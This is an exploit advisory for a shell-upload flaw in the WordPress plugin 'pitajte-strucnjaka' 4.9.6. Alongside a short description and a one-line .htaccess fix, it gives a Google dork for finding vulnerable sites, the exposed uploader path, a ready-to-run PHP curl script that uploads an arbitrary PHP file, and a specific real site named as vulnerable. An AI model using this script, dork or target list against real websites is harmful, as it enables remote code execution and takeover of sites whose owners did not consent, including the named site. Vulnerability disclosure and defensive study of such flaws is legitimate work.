####################################################################

# Exploit Title : WordPress pitajte-strucnjaka Plugins 4.9.6 Shell Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 26/01/2019
# Vendor Homepage : wordpress.org
# Software Information Link : bol.rs/pitajte-strucnjaka
# Software Version : 4.9.6
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/pitajte-strucnjaka/''
# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
CWE-264  [ Permissions, Privileges, and Access Controls ] 

####################################################################

# Description :
*************

* "pitajte-strucnjaka" is open source software for WordPress CMS.

* WordPress Plugin pitajte-strucnjaka is prone to a vulnerability that lets attackers 
upload arbitrary files. The issue occurs because 
the application fails to adequately sanitize user-supplied input. 
An attacker can exploit this vulnerability to upload arbitrary PHP code and run it
in the context of the Web server process. This may facilitate
unauthorized access or privilege escalation; other attacks are also possible. 
WordPress Plugin pitajte-strucnjaka versions 4.9.6 are vulnerable; 
prior versions may also be affected. 
There is no exact information about software elsewhere [ prior versions etcetra... ]

* This software [ WordPress WordPress pitajte-strucnjaka Plugins 4.9.6 and other versions ]
allows the attacker to upload or transfer files of dangerous 
types that can be automatically processed within the product's environment.

####################################################################

# Solution [ Fix the Bug ] :
***********************
Restrict access to the /wp-content/plugins/pitajte-strucnjaka/upload/uploader.php script (e.g. via .htaccess)

####################################################################

# Remote File Upload Exploit :
**************************

/wp-content/plugins/pitajte-strucnjaka/upload/uploader.php

# Directory File Path :
*******************

/wp-content/uploads/....

####################################################################

<?php

$uploadfile="yourfilenamehere.php";
$ch = 
curl_init("http://www.VULNERABLESITE/wp-content/plugins/pitajte-strucnjaka/upload/uploader.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

####################################################################

# Example Vulnerable Site :
*************************

[+] bol.rs/wp-content/plugins/pitajte-strucnjaka/upload/uploader.php

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################